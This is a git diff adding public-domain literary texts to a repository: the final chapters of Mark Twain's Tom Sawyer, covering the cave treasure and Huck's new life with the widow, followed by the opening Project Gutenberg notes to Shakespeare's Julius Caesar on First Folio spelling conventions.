with frantic half-clad people, who shouted, +"Turn out! turn out! they're found! they're found!" +Tin pans and horns were added to the din, the popula- +tion massed itself and moved toward the river, met +the children coming in an open carriage drawn by +shouting citizens, thronged around it, joined its home- +ward march, and swept magnificently up the main +street roaring huzzah after huzzah! + +The village was illuminated; nobody went to bed +again; it was the greatest night the little town had +ever seen. During the first half-hour a procession of +villagers filed through Judge Thatcher's house, seized +the saved ones and kissed them, squeezed Mrs. Thatch- +er's hand, tried to speak but couldn't -- and drifted out +raining tears all over the place. + +Aunt Polly's happiness was complete, and Mrs. +Thatcher's nearly so. It would be complete, how- +ever, as soon as the messenger dispatched with the +great news to the cave should get the word to her +husband. Tom lay upon a sofa with an eager audi- +tory about him and told the history of the wonderful +adventure, putting in many striking additions to adorn +it withal; and closed with a description of how he +left Becky and went on an exploring expedition; how +he followed two avenues as far as his kite-line would +reach; how he followed a third to the fullest stretch +of the kite-line, and was about to turn back when he +glimpsed a far-off speck that looked like daylight; +dropped the line and groped toward it, pushed his +head and shoulders through a small hole, and saw the +broad Mississippi rolling by! And if it had only hap- +pened to be night he would not have seen that speck +of daylight and would not have explored that passage +any more! He told how he went back for Becky and +broke the good news and she told him not to fret her +with such stuff, for she was tired, and knew she was +going to die, and wanted to. He described how he +labored with her and convinced her; and how she +almost died for joy when she had groped to where she +actually saw the blue speck of daylight; how he pushed +his way out at the hole and then helped her out; how +they sat there and cried for gladness; how some men +came along in a skiff and Tom hailed them and told +them their situation and their famished condition; how +the men didn't believe the wild tale at first, "because," +said they, "you are five miles down the river below the +valley the cave is in" -- then took them aboard, rowed to +a house, gave them supper, made them rest till two or +three hours after dark and then brought them home. + +Before day-dawn, Judge Thatcher and the handful +of searchers with him were tracked out, in the cave, by +the twine clews they had strung behind them, and +informed of the great news. + +Three days and nights of toil and hunger in the +cave were not to be shaken off at once, as Tom and +Becky soon discovered. They were bedridden all of +Wednesday and Thursday, and seemed to grow more +and more tired and worn, all the time. Tom got +about, a little, on Thursday, was down-town Friday, +and nearly as whole as ever Saturday; but Becky +did not leave her room until Sunday, and then she +looked as if she had passed through a wasting illness. + +Tom learned of Huck's sickness and went to see +him on Friday, but could not be admitted to the +bedroom; neither could he on Saturday or Sunday. +He was admitted daily after that, but was warned to +keep still about his adventure and introduce no ex- +citing topic. The Widow Douglas stayed by to see +that he obeyed. At home Tom learned of the Cardiff +Hill event; also that the "ragged man's" body had +eventually been found in the river near the ferry- +landing; he had been drowned while trying to escape, +perhaps. + +About a fortnight after Tom's rescue from the +cave, he started off to visit Huck, who had grown +plenty strong enough, now, to hear exciting talk, and +Tom had some that would interest him, he thought. +Judge Thatcher's house was on Tom's way, and he +stopped to see Becky. The Judge and some friends +set Tom to talking, and some one asked him ironically +if he wouldn't like to go to the cave again. Tom said +he thought he wouldn't mind it. The Judge said: + +"Well, there are others just like you, Tom, I've not +the least doubt. But we have taken care of that. +Nobody will get lost in that cave any more." + +"Why?" + +"Because I had its big door sheathed with boiler +iron two weeks ago, and triple-locked -- and I've got +the keys." + +Tom turned as white as a sheet. + +"What's the matter, boy! Here, run, somebody! +Fetch a glass of water!" + +The water was brought and thrown into Tom's +face. + +"Ah, now you're all right. What was the matter +with you, Tom?" + +"Oh, Judge, Injun Joe's in the cave!" + + +CHAPTER XXXIII + +WITHIN a few minutes the news had +spread, and a dozen skiff-loads of men +were on their way to McDougal's cave, +and the ferryboat, well filled with pas- +sengers, soon followed. Tom Sawyer was +in the skiff that bore Judge Thatcher. + +When the cave door was unlocked, a sorrowful +sight presented itself in the dim twilight of the place. +Injun Joe lay stretched upon the ground, dead, with +his face close to the crack of the door, as if his longing +eyes had been fixed, to the latest moment, upon the +light and the cheer of the free world outside. Tom +was touched, for he knew by his own experience how +this wretch had suffered. His pity was moved, but +nevertheless he felt an abounding sense of relief and +security, now, which revealed to him in a degree which +he had not fully appreciated before how vast a weight +of dread had been lying upon him since the day he +lifted his voice against this bloody-minded outcast. + +Injun Joe's bowie-knife lay close by, its blade +broken in two. The great foundation-beam of the +door had been chipped and hacked through, with +tedious labor; useless labor, too, it was, for the native +rock formed a sill outside it, and upon that stubborn +material the knife had wrought no effect; the only +damage done was to the knife itself. But if there had +been no stony obstruction there the labor would have +been useless still, for if the beam had been wholly cut +away Injun Joe could not have squeezed his body +under the door, and he knew it. So he had only hacked +that place in order to be doing something -- in order to +pass the weary time -- in order to employ his tortured +faculties. Ordinarily one could find half a dozen bits +of candle stuck around in the crevices of this vestibule, +left there by tourists; but there were none now. The +prisoner had searched them out and eaten them. He +had also contrived to catch a few bats, and these, +also, he had eaten, leaving only their claws. The +poor unfortunate had starved to death. In one place, +near at hand, a stalagmite had been slowly growing +up from the ground for ages, builded by the water-drip +from a stalactite overhead. The captive had broken +off the stalagmite, and upon the stump had placed a +stone, wherein he had scooped a shallow hollow to +catch the precious drop that fell once in every three +minutes with the dreary regularity of a clock-tick -- a +dessertspoonful once in four and twenty hours. That +drop was falling when the Pyramids were new; when +Troy fell; when the foundations of Rome were laid +when Christ was crucified; when the Conqueror +created the British empire; when Columbus sailed; +when the massacre at Lexington was "news." It is +falling now; it will still be falling when all these things +shall have sunk down the afternoon of history, and +the twilight of tradition, and been swallowed up in +the thick night of oblivion. Has everything a purpose +and a mission? Did this drop fall patiently during +five thousand years to be ready for this flitting human +insect's need? and has it another important object to +accomplish ten thousand years to come? No matter. +It is many and many a year since the hapless half-breed +scooped out the stone to catch the priceless drops, but +to this day the tourist stares longest at that pathetic +stone and that slow-dropping water when he comes +to see the wonders of McDougal's cave. Injun Joe's +cup stands first in the list of the cavern's marvels; even +"Aladdin's Palace" cannot rival it. + +Injun Joe was buried near the mouth of the cave; +and people flocked there in boats and wagons from +the towns and from all the farms and hamlets for +seven miles around; they brought their children, and +all sorts of provisions, and confessed that they had +had almost as satisfactory a time at the funeral as they +could have had at the hanging. + +This funeral stopped the further growth of one +thing -- the petition to the governor for Injun Joe's +pardon. The petition had been largely signed; many +tearful and eloquent meetings had been held, and a +committee of sappy women been appointed to go in +deep mourning and wail around the governor, and +implore him to be a merciful ass and trample his duty +under foot. Injun Joe was believed to have killed five +citizens of the village, but what of that? If he had been +Satan himself there would have been plenty of weak- +lings ready to scribble their names to a pardon-petition, +and drip a tear on it from their permanently impaired +and leaky water-works. + +The morning after the funeral Tom took Huck to +a private place to have an important talk. Huck had +learned all about Tom's adventure from the Welsh- +man and the Widow Douglas, by this time, but +Tom said he reckoned there was one thing they +had not told him; that thing was what he wanted +to talk about now. Huck's face saddened. He +said: + +"I know what it is. You got into No. 2 and never +found anything but whiskey. Nobody told me it was +you; but I just knowed it must 'a' ben you, soon as +I heard 'bout that whiskey business; and I knowed you +hadn't got the money becuz you'd 'a' got at me some +way or other and told me even if you was mum to +everybody else. Tom, something's always told me +we'd never get holt of that swag." + +"Why, Huck, I never told on that tavern-keeper. +YOU know his tavern was all right the Saturday I went +to the picnic. Don't you remember you was to watch +there that night?" + +"Oh yes! Why, it seems 'bout a year ago. It +was that very night that I follered Injun Joe to the +widder's." + +"YOU followed him?" + +"Yes -- but you keep mum. I reckon Injun Joe's +left friends behind him, and I don't want 'em souring +on me and doing me mean tricks. If it hadn't ben for +me he'd be down in Texas now, all right." + +Then Huck told his entire adventure in confidence +to Tom, who had only heard of the Welshman's part +of it before. + +"Well," said Huck, presently, coming back to the +main question, "whoever nipped the whiskey in No. 2, +nipped the money, too, I reckon -- anyways it's a goner +for us, Tom." + +"Huck, that money wasn't ever in No. 2!" + +"What!" Huck searched his comrade's face keenly. +"Tom, have you got on the track of that money again?" + +"Huck, it's in the cave!" + +Huck's eyes blazed. + +"Say it again, Tom." + +"The money's in the cave!" + +"Tom -- honest injun, now -- is it fun, or earnest?" + +"Earnest, Huck -- just as earnest as ever I was in +my life. Will you go in there with me and help get +it out?" + +"I bet I will! I will if it's where we can blaze our +way to it and not get lost." + +"Huck, we can do that without the least little bit +of trouble in the world." + +"Good as wheat! What makes you think the +money's --" + +"Huck, you just wait till we get in there. If we +don't find it I'll agree to give you my drum and every +thing I've got in the world. I will, by jings." + +"All right -- it's a whiz. When do you say?" + +"Right now, if you say it. Are you strong enough?" + +"Is it far in the cave? I ben on my pins a little, +three or four days, now, but I can't walk more'n a +mile, Tom -- least I don't think I could." + +"It's about five mile into there the way anybody +but me would go, Huck, but there's a mighty short +cut that they don't anybody but me know about. +Huck, I'll take you right to it in a skiff. I'll float +the skiff down there, and I'll pull it back again all by +myself. You needn't ever turn your hand over." + +"Less start right off, Tom." + +"All right. We want some bread and meat, and +our pipes, and a little bag or two, and two or three +kite-strings, and some of these new-fangled things +they call lucifer matches. I tell you, many's the +time I wished I had some when I was in there before." + +A trifle after noon the boys borrowed a small skiff +from a citizen who was absent, and got under way +at once. When they were several miles below "Cave +Hollow," Tom said: + +"Now you see this bluff here looks all alike all the +way down from the cave hollow -- no houses, no wood- +yards, bushes all alike. But do you see that white +place up yonder where there's been a landslide? +Well, that's one of my marks. We'll get ashore, +now." + +They landed. + +"Now, Huck, where we're a-standing you could +touch that hole I got out of with a fishing-pole. See +if you can find it." + +Huck searched all the place about, and found +nothing. Tom proudly marched into a thick clump of +sumach bushes and said: + +"Here you are! Look at it, Huck; it's the snuggest +hole in this country. You just keep mum about it. +All along I've been wanting to be a robber, but I knew +I'd got to have a thing like this, and where to run across +it was the bother. We've got it now, and we'll keep it +quiet, only we'll let Joe Harper and Ben Rogers in -- +because of course there's got to be a Gang, or else +there wouldn't be any style about it. Tom Sawyer's +Gang -- it sounds splendid, don't it, Huck?" + +"Well, it just does, Tom. And who'll we rob?" + +"Oh, most anybody. Waylay people -- that's mostly +the way." + +"And kill them?" + +"No, not always. Hive them in the cave till they +raise a ransom." + +"What's a ransom?" + +"Money. You make them raise all they can, off'n +their friends; and after you've kept them a year, if +it ain't raised then you kill them. That's the general +way. Only you don't kill the women. You shut up +the women, but you don't kill them. They're always +beautiful and rich, and awfully scared. You take +their watches and things, but you always take your +hat off and talk polite. They ain't anybody as polite +as robbers -- you'll see that in any book. Well, the +women get to loving you, and after they've been in the +cave a week or two weeks they stop crying and after +that you couldn't get them to leave. If you drove +them out they'd turn right around and come back. +It's so in all the books." + +"Why, it's real bully, Tom. I believe it's better'n +to be a pirate." + +"Yes, it's better in some ways, because it's close to +home and circuses and all that." + +By this time everything was ready and the boys +entered the hole, Tom in the lead. They toiled their +way to the farther end of the tunnel, then made their +spliced kite-strings fast and moved on. A few steps +brought them to the spring, and Tom felt a shudder +quiver all through him. He showed Huck the frag- +ment of candle-wick perched on a lump of clay against +the wall, and described how he and Becky had watched +the flame struggle and expire. + +The boys began to quiet down to whispers, now, +for the stillness and gloom of the place oppressed their +spirits. They went on, and presently entered and +followed Tom's other corridor until they reached the +"jumping-off place." The candles revealed the fact +that it was not really a precipice, but only a steep +clay hill twenty or thirty feet high. Tom whis- +pered: + +"Now I'll show you something, Huck." + +He held his candle aloft and said: + +"Look as far around the corner as you can. Do +you see that? There -- on the big rock over yonder +-- done with candle-smoke." + +"Tom, it's a CROSS!" + +"NOW where's your Number Two? 'UNDER THE +CROSS,' hey? Right yonder's where I saw Injun Joe +poke up his candle, Huck!" + +Huck stared at the mystic sign awhile, and then said +with a shaky voice: + +"Tom, less git out of here!" + +"What! and leave the treasure?" + +"Yes -- leave it. Injun Joe's ghost is round about +there, certain." + +"No it ain't, Huck, no it ain't. It would ha'nt the +place where he died -- away out at the mouth of the +cave -- five mile from here." + +"No, Tom, it wouldn't. It would hang round the +money. I know the ways of ghosts, and so do you." + +Tom began to fear that Huck was right. Mis- +givings gathered in his mind. But presently an idea +occurred to him -- + +"Lookyhere, Huck, what fools we're making of +ourselves! Injun Joe's ghost ain't a going to come +around where there's a cross!" + +The point was well taken. It had its effect. + +"Tom, I didn't think of that. But that's so. It's +luck for us, that cross is. I reckon we'll climb down +there and have a hunt for that box." + +Tom went first, cutting rude steps in the clay hill +as he descended. Huck followed. Four avenues +opened out of the small cavern which the great rock +stood in. The boys examined three of them with no +result. They found a small recess in the one nearest +the base of the rock, with a pallet of blankets spread +down in it; also an old suspender, some bacon rind, +and the well-gnawed bones of two or three fowls. But +there was no money-box. The lads searched and re- +searched this place, but in vain. Tom said: + +"He said UNDER the cross. Well, this comes nearest +to being under the cross. It can't be under the rock +itself, because that sets solid on the ground." + +They searched everywhere once more, and then +sat down discouraged. Huck could suggest nothing. +By-and-by Tom said: + +"Lookyhere, Huck, there's footprints and some can- +dle-grease on the clay about one side of this rock, +but not on the other sides. Now, what's that for? +I bet you the money IS under the rock. I'm going to +dig in the clay." + +"That ain't no bad notion, Tom!" said Huck with +animation. + +Tom's "real Barlow" was out at once, and he had +not dug four inches before he struck wood. + +"Hey, Huck! -- you hear that?" + +Huck began to dig and scratch now. Some boards +were soon uncovered and removed. They had con- +cealed a natural chasm which led under the rock. Tom +got into this and held his candle as far under the rock +as he could, but said he could not see to the end of the +rift. He proposed to explore. He stooped and passed +under; the narrow way descended gradually. He +followed its winding course, first to the right, then to +the left, Huck at his heels. Tom turned a short curve, +by-and-by, and exclaimed: + +"My goodness, Huck, lookyhere!" + +It was the treasure-box, sure enough, occupying a +snug little cavern, along with an empty powder-keg, +a couple of guns in leather cases, two or three pairs of +old moccasins, a leather belt, and some other rubbish +well soaked with the water-drip. + +"Got it at last!" said Huck, ploughing among the tar- +nished coins with his hand. "My, but we're rich, Tom!" + +"Huck, I always reckoned we'd get it. It's just +too good to believe, but we HAVE got it, sure! Say -- +let's not fool around here. Let's snake it out. Lemme +see if I can lift the box." + +It weighed about fifty pounds. Tom could lift it, +after an awkward fashion, but could not carry it +conveniently. + +"I thought so," he said; "THEY carried it like it +was heavy, that day at the ha'nted house. I noticed +that. I reckon I was right to think of fetching the +little bags along." + +The money was soon in the bags and the boys took +it up to the cross rock. + +"Now less fetch the guns and things," said Huck. + +"No, Huck -- leave them there. They're just the +tricks to have when we go to robbing. We'll keep them +there all the time, and we'll hold our orgies there, too. +It's an awful snug place for orgies." + +"What orgies?" + +"I dono. But robbers always have orgies, and of +course we've got to have them, too. Come along, +Huck, we've been in here a long time. It's getting +late, I reckon. I'm hungry, too. We'll eat and smoke +when we get to the skiff." + +They presently emerged into the clump of sumach +bushes, looked warily out, found the coast clear, and +were soon lunching and smoking in the skiff. As +the sun dipped toward the horizon they pushed out +and got under way. Tom skimmed up the shore +through the long twilight, chatting cheerily with Huck, +and landed shortly after dark. + +"Now, Huck," said Tom, "we'll hide the money +in the loft of the widow's woodshed, and I'll come +up in the morning and we'll count it and divide, and +then we'll hunt up a place out in the woods for it +where it will be safe. Just you lay quiet here and +watch the stuff till I run and hook Benny Taylor's +little wagon; I won't be gone a minute." + +He disappeared, and presently returned with the +wagon, put the two small sacks into it, threw some +old rags on top of them, and started off, dragging his +cargo behind him. When the boys reached the Welsh- +man's house, they stopped to rest. Just as they were +about to move on, the Welshman stepped out and said: + +"Hallo, who's that?" + +"Huck and Tom Sawyer." + +"Good! Come along with me, boys, you are keep- +ing everybody waiting. Here -- hurry up, trot ahead -- +I'll haul the wagon for you. Why, it's not as light as +it might be. Got bricks in it? -- or old metal?" + +"Old metal," said Tom. + +"I judged so; the boys in this town will take more +trouble and fool away more time hunting up six bits' +worth of old iron to sell to the foundry than they would +to make twice the money at regular work. But that's +human nature -- hurry along, hurry along!" + +The boys wanted to know what the hurry was about. + +"Never mind; you'll see, when we get to the Widow +Douglas'." + +Huck said with some apprehension -- for he was +long used to being falsely accused: + +"Mr. Jones, we haven't been doing nothing." + +The Welshman laughed. + +"Well, I don't know, Huck, my boy. I don't know +about that. Ain't you and the widow good friends?" + +"Yes. Well, she's ben good friends to me, anyway." + +"All right, then. What do you want to be afraid +for?" + +This question was not entirely answered in Huck's +slow mind before he found himself pushed, along +with Tom, into Mrs. Douglas' drawing-room. Mr. +Jones left the wagon near the door and followed. + +The place was grandly lighted, and everybody that +was of any consequence in the village was there. The +Thatchers were there, the Harpers, the Rogerses, Aunt +Polly, Sid, Mary, the minister, the editor, and a great +many more, and all dressed in their best. The widow +received the boys as heartily as any one could well +receive two such looking beings. They were covered +with clay and candle-grease. Aunt Polly blushed +crimson with humiliation, and frowned and shook her +head at Tom. Nobody suffered half as much as the +two boys did, however. Mr. Jones said: + +"Tom wasn't at home, yet, so I gave him up; but +I stumbled on him and Huck right at my door, and so +I just brought them along in a hurry." + +"And you did just right," said the widow. "Come +with me, boys." + +She took them to a bedchamber and said: + +"Now wash and dress yourselves. Here are two +new suits of clothes -- shirts, socks, everything complete. +They're Huck's -- no, no thanks, Huck -- Mr. Jones +bought one and I the other. But they'll fit both of +you. Get into them. We'll wait -- come down when +you are slicked up enough." + +Then she left. + + +CHAPTER XXXIV + +HUCK said: "Tom, we can slope, if we +can find a rope. The window ain't high +from the ground." + +"Shucks! what do you want to slope +for?" + +"Well, I ain't used to that kind of a +crowd. I can't stand it. I ain't going down there, Tom." + +"Oh, bother! It ain't anything. I don't mind it +a bit. I'll take care of you." + +Sid appeared. + +"Tom," said he, "auntie has been waiting for you +all the afternoon. Mary got your Sunday clothes +ready, and everybody's been fretting about you. Say +-- ain't this grease and clay, on your clothes?" + +"Now, Mr. Siddy, you jist 'tend to your own business. +What's all this blow-out about, anyway?" + +"It's one of the widow's parties that she's always +having. This time it's for the Welshman and his +sons, on account of that scrape they helped her out +of the other night. And say -- I can tell you something, +if you want to know." + +"Well, what?" + +"Why, old Mr. Jones is going to try to spring some- +thing on the people here to-night, but I overheard him +tell auntie to-day about it, as a secret, but I reckon +it's not much of a secret now. Everybody knows -- +the widow, too, for all she tries to let on she don't. +Mr. Jones was bound Huck should be here -- couldn't +get along with his grand secret without Huck, you +know!" + +"Secret about what, Sid?" + +"About Huck tracking the robbers to the widow's. +I reckon Mr. Jones was going to make a grand time +over his surprise, but I bet you it will drop pretty flat." + +Sid chuckled in a very contented and satisfied way. + +"Sid, was it you that told?" + +"Oh, never mind who it was. SOMEBODY told -- that's +enough." + +"Sid, there's only one person in this town mean +enough to do that, and that's you. If you had been in +Huck's place you'd 'a' sneaked down the hill and never +told anybody on the robbers. You can't do any but +mean things, and you can't bear to see anybody praised +for doing good ones. There -- no thanks, as the widow +says" -- and Tom cuffed Sid's ears and helped him to +the door with several kicks. "Now go and tell auntie +if you dare -- and to-morrow you'll catch it!" + +Some minutes later the widow's guests were at the +supper-table, and a dozen children were propped up +at little side-tables in the same room, after the fashion +of that country and that day. At the proper time +Mr. Jones made his little speech, in which he thanked +the widow for the honor she was doing himself and his +sons, but said that there was another person whose +modesty -- + +And so forth and so on. He sprung his secret +about Huck's share in the adventure in the finest +dramatic manner he was master of, but the surprise it +occasioned was largely counterfeit and not as clamorous +and effusive as it might have been under happier +circumstances. However, the widow made a pretty +fair show of astonishment, and heaped so many com- +pliments and so much gratitude upon Huck that he +almost forgot the nearly intolerable discomfort of his +new clothes in the entirely intolerable discomfort of +being set up as a target for everybody's gaze and +everybody's laudations. + +The widow said she meant to give Huck a home +under her roof and have him educated; and that +when she could spare the money she would start him +in business in a modest way. Tom's chance was +come. He said: + +"Huck don't need it. Huck's rich." + +Nothing but a heavy strain upon the good manners +of the company kept back the due and proper com- +plimentary laugh at this pleasant joke. But the silence +was a little awkward. Tom broke it: + +"Huck's got money. Maybe you don't believe it, +but he's got lots of it. Oh, you needn't smile -- I reckon +I can show you. You just wait a minute." + +Tom ran out of doors. The company looked at +each other with a perplexed interest -- and inquiringly +at Huck, who was tongue-tied. + +"Sid, what ails Tom?" said Aunt Polly. "He -- well, +there ain't ever any making of that boy out. I never --" + +Tom entered, struggling with the weight of his sacks, +and Aunt Polly did not finish her sentence. Tom +poured the mass of yellow coin upon the table and said: + +"There -- what did I tell you? Half of it's Huck's +and half of it's mine!" + +The spectacle took the general breath away. All +gazed, nobody spoke for a moment. Then there was a +unanimous call for an explanation. Tom said he could +furnish it, and he did. The tale was long, but brimful +of interest. There was scarcely an interruption from +any one to break the charm of its flow. When he had +finished, Mr. Jones said: + +"I thought I had fixed up a little surprise for this +occasion, but it don't amount to anything now. This +one makes it sing mighty small, I'm willing to allow." + +The money was counted. The sum amounted to +a little over twelve thousand dollars. It was more +than any one present had ever seen at one time before, +though several persons were there who were worth +considerably more than that in property. + + +CHAPTER XXXV + +THE reader may rest satisfied that Tom's +and Huck's windfall made a mighty stir +in the poor little village of St. Petersburg. +So vast a sum, all in actual cash, seemed +next to incredible. It was talked about, +gloated over, glorified, until the reason of +many of the citizens tottered under the strain of the +unhealthy excitement. Every "haunted" house in St. +Petersburg and the neighboring villages was dissected, +plank by plank, and its foundations dug up and ran- +sacked for hidden treasure -- and not by boys, but men +-- pretty grave, unromantic men, too, some of them. +Wherever Tom and Huck appeared they were courted, +admired, stared at. The boys were not able to remem- +ber that their remarks had possessed weight before; +but now their sayings were treasured and repeated; +everything they did seemed somehow to be regarded as +remarkable; they had evidently lost the power of doing +and saying commonplace things; moreover, their past +history was raked up and discovered to bear marks of +conspicuous originality. The village paper published +biographical sketches of the boys. + +The Widow Douglas put Huck's money out at six +per cent., and Judge Thatcher did the same with +Tom's at Aunt Polly's request. Each lad had an in- +come, now, that was simply prodigious -- a dollar for +every week-day in the year and half of the Sundays. +It was just what the minister got -- no, it was what he +was promised -- he generally couldn't collect it. A +dollar and a quarter a week would board, lodge, and +school a boy in those old simple days -- and clothe him +and wash him, too, for that matter. + +Judge Thatcher had conceived a great opinion of +Tom. He said that no commonplace boy would ever +have got his daughter out of the cave. When Becky +told her father, in strict confidence, how Tom had +taken her whipping at school, the Judge was visibly +moved; and when she pleaded grace for the mighty +lie which Tom had told in order to shift that whipping +from her shoulders to his own, the Judge said with a +fine outburst that it was a noble, a generous, a mag- +nanimous lie -- a lie that was worthy to hold up its head +and march down through history breast to breast with +George Washington's lauded Truth about the hatchet! +Becky thought her father had never looked so tall and +so superb as when he walked the floor and stamped +his foot and said that. She went straight off and told +Tom about it. + +Judge Thatcher hoped to see Tom a great lawyer or +a great soldier some day. He said he meant to look +to it that Tom should be admitted to the National +Military Academy and afterward trained in the best +law school in the country, in order that he might be +ready for either career or both. + +Huck Finn's wealth and the fact that he was now +under the Widow Douglas' protection introduced him +into society -- no, dragged him into it, hurled him into +it -- and his sufferings were almost more than he could +bear. The widow's servants kept him clean and neat, +combed and brushed, and they bedded him nightly in +unsympathetic sheets that had not one little spot or +stain which he could press to his heart and know for +a friend. He had to eat with a knife and fork; he had +to use napkin, cup, and plate; he had to learn his book, +he had to go to church; he had to talk so properly that +speech was become insipid in his mouth; whitherso- +ever he turned, the bars and shackles of civilization +shut him in and bound him hand and foot. + +He bravely bore his miseries three weeks, and then +one day turned up missing. For forty-eight hours the +widow hunted for him everywhere in great distress. +The public were profoundly concerned; they searched +high and low, they dragged the river for his body. +Early the third morning Tom Sawyer wisely went +poking among some old empty hogsheads down behind +the abandoned slaughter-house, and in one of them +he found the refugee. Huck had slept there; he had +just breakfasted upon some stolen odds and ends of +food, and was lying off, now, in comfort, with his pipe. +He was unkempt, uncombed, and clad in the same old +ruin of rags that had made him picturesque in the days +when he was free and happy. Tom routed him out, +told him the trouble he had been causing, and urged +him to go home. Huck's face lost its tranquil content, +and took a melancholy cast. He said: + +"Don't talk about it, Tom. I've tried it, and it +don't work; it don't work, Tom. It ain't for me; +I ain't used to it. The widder's good to me, and +friendly; but I can't stand them ways. She makes +me get up just at the same time every morning; she +makes me wash, they comb me all to thunder; she +won't let me sleep in the woodshed; I got to wear +them blamed clothes that just smothers me, Tom; +they don't seem to any air git through 'em, somehow; +and they're so rotten nice that I can't set down, nor +lay down, nor roll around anywher's; I hain't slid on +a cellar-door for -- well, it 'pears to be years; I got +to go to church and sweat and sweat -- I hate them +ornery sermons! I can't ketch a fly in there, I can't +chaw. I got to wear shoes all Sunday. The widder +eats by a bell; she goes to bed by a bell; she gits up +by a bell -- everything's so awful reg'lar a body can't +stand it." + +"Well, everybody does that way, Huck." + +"Tom, it don't make no difference. I ain't every- +body, and I can't STAND it. It's awful to be tied up so. +And grub comes too easy -- I don't take no interest in +vittles, that way. I got to ask to go a-fishing; I got +to ask to go in a-swimming -- dern'd if I hain't got to +ask to do everything. Well, I'd got to talk so nice it +wasn't no comfort -- I'd got to go up in the attic and +rip out awhile, every day, to git a taste in my mouth, +or I'd a died, Tom. The widder wouldn't let me +smoke; she wouldn't let me yell, she wouldn't let me +gape, nor stretch, nor scratch, before folks --" [Then +with a spasm of special irritation and injury] -- "And +dad fetch it, she prayed all the time! I never see such +a woman! I HAD to shove, Tom -- I just had to. And +besides, that school's going to open, and I'd a had to +go to it -- well, I wouldn't stand THAT, Tom. Looky- +here, Tom, being rich ain't what it's cracked up to be. +It's just worry and worry, and sweat and sweat, and +a-wishing you was dead all the time. Now these +clothes suits me, and this bar'l suits me, and I ain't +ever going to shake 'em any more. Tom, I wouldn't +ever got into all this trouble if it hadn't 'a' ben for +that money; now you just take my sheer of it along +with your'n, and gimme a ten-center sometimes -- not +many times, becuz I don't give a dern for a thing +'thout it's tollable hard to git -- and you go and beg off +for me with the widder." + +"Oh, Huck, you know I can't do that. 'Tain't +fair; and besides if you'll try this thing just a while +longer you'll come to like it." + +"Like it! Yes -- the way I'd like a hot stove if I +was to set on it long enough. No, Tom, I won't be +rich, and I won't live in them cussed smothery houses. +I like the woods, and the river, and hogsheads, and +I'll stick to 'em, too. Blame it all! just as we'd got +guns, and a cave, and all just fixed to rob, here this +dern foolishness has got to come up and spile it all!" + +Tom saw his opportunity -- + +"Lookyhere, Huck, being rich ain't going to keep +me back from turning robber." + +"No! Oh, good-licks; are you in real dead-wood +earnest, Tom?" + +"Just as dead earnest as I'm sitting here. But +Huck, we can't let you into the gang if you ain't re- +spectable, you know." + +Huck's joy was quenched. + +"Can't let me in, Tom? Didn't you let me go for +a pirate?" + +"Yes, but that's different. A robber is more high- +toned than what a pirate is -- as a general thing. In +most countries they're awful high up in the nobility -- +dukes and such." + +"Now, Tom, hain't you always ben friendly to me? +You wouldn't shet me out, would you, Tom? You +wouldn't do that, now, WOULD you, Tom?" + +"Huck, I wouldn't want to, and I DON'T want to -- +but what would people say? Why, they'd say, 'Mph! +Tom Sawyer's Gang! pretty low characters in it!' +They'd mean you, Huck. You wouldn't like that, and +I wouldn't." + +Huck was silent for some time, engaged in a mental +struggle. Finally he said: + +"Well, I'll go back to the widder for a month and +tackle it and see if I can come to stand it, if you'll +let me b'long to the gang, Tom." + +"All right, Huck, it's a whiz! Come along, old +chap, and I'll ask the widow to let up on you a little, +Huck." + +"Will you, Tom -- now will you? That's good. If +she'll let up on some of the roughest things, I'll smoke +private and cuss private, and crowd through or bust. +When you going to start the gang and turn robbers?" + +"Oh, right off. We'll get the boys together and +have the initiation to-night, maybe." + +"Have the which?" + +"Have the initiation." + +"What's that?" + +"It's to swear to stand by one another, and never +tell the gang's secrets, even if you're chopped all to +flinders, and kill anybody and all his family that hurts +one of the gang." + +"That's gay -- that's mighty gay, Tom, I tell you." + +"Well, I bet it is. And all that swearing's got to +be done at midnight, in the lonesomest, awfulest place +you can find -- a ha'nted house is the best, but they're +all ripped up now." + +"Well, midnight's good, anyway, Tom." + +"Yes, so it is. And you've got to swear on a coffin, +and sign it with blood." + +"Now, that's something LIKE! Why, it's a million +times bullier than pirating. I'll stick to the widder +till I rot, Tom; and if I git to be a reg'lar ripper of a +robber, and everybody talking 'bout it, I reckon she'll +be proud she snaked me in out of the wet." + + +CONCLUSION + +SO endeth this chronicle. It being strictly +a history of a BOY, it must stop here; the +story could not go much further without +becoming the history of a MAN. When +one writes a novel about grown people, he +knows exactly where to stop -- that is, +with a marriage; but when he writes of juveniles, he +must stop where he best can. + +Most of the characters that perform in this book +still live, and are prosperous and happy. Some day +it may seem worth while to take up the story of the +younger ones again and see what sort of men and +women they turned out to be; therefore it will be +wisest not to reveal any of that part of their lives at +present. + +*** + +End of the Wiretap/Project Gutenberg Etext of +Tom Sawyer, by Mark Twain [Samuel Langhorne Clemens + + + + + diff --git a/mccalum/shakespeare-caesar.txt b/mccalum/shakespeare-caesar.txt new file mode 100644 index 0000000..a6a4929 --- /dev/null +++ b/mccalum/shakespeare-caesar.txt @@ -0,0 +1,3904 @@ +***The Project Gutenberg's Etext of Shakespeare's First Folio*** +******************The Tragedie of Julius Caesar***************** + +This is our 3rd edition of most of these plays. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +Project Gutenberg's Etext of Shakespeare's The Tragedie of +Julius Caesar + + + + +Executive Director's Notes: + +In addition to the notes below, and so you will *NOT* think all +the spelling errors introduced by the printers of the time have +been corrected, here are the first few lines of Hamlet, as they +are presented herein: + + Barnardo. Who's there? + Fran. Nay answer me: Stand & vnfold +your selfe + + Bar. Long liue the King + +*** + +As I understand it, the printers often ran out of certain words +or letters they had often packed into a "cliche". . .this is the +original meaning of the term cliche. . .and thus, being unwilling +to unpack the cliches, and thus you will see some substitutions +that look very odd. . .such as the exchanges of u for v, v for u, +above. . .and you may wonder why they did it this way, presuming +Shakespeare did not actually write the play in this manner. . . . + +The answer is that they MAY have packed "liue" into a cliche at a +time when they were out of "v"'s. . .possibly having used "vv" in +place of some "w"'s, etc. This was a common practice of the day, +as print was still quite expensive, and they didn't want to spend +more on a wider selection of characters than they had to. + +You will find a lot of these kinds of "errors" in this text, as I +have mentioned in other times and places, many "scholars" have an +extreme attachment to these errors, and many have accorded them a +very high place in the "canon" of Shakespeare. My father read an +assortment of these made available to him by Cambridge University +in England for several months in a glass room constructed for the +purpose. To the best of my knowledge he read ALL those available +. . .in great detail. . .and determined from the various changes, +that Shakespeare most likely did not write in nearly as many of a +variety of errors we credit him for, even though he was in/famous +for signing his name with several different spellings. + +So, please take this into account when reading the comments below +made by our volunteer who prepared this file: you may see errors +that are "not" errors. . 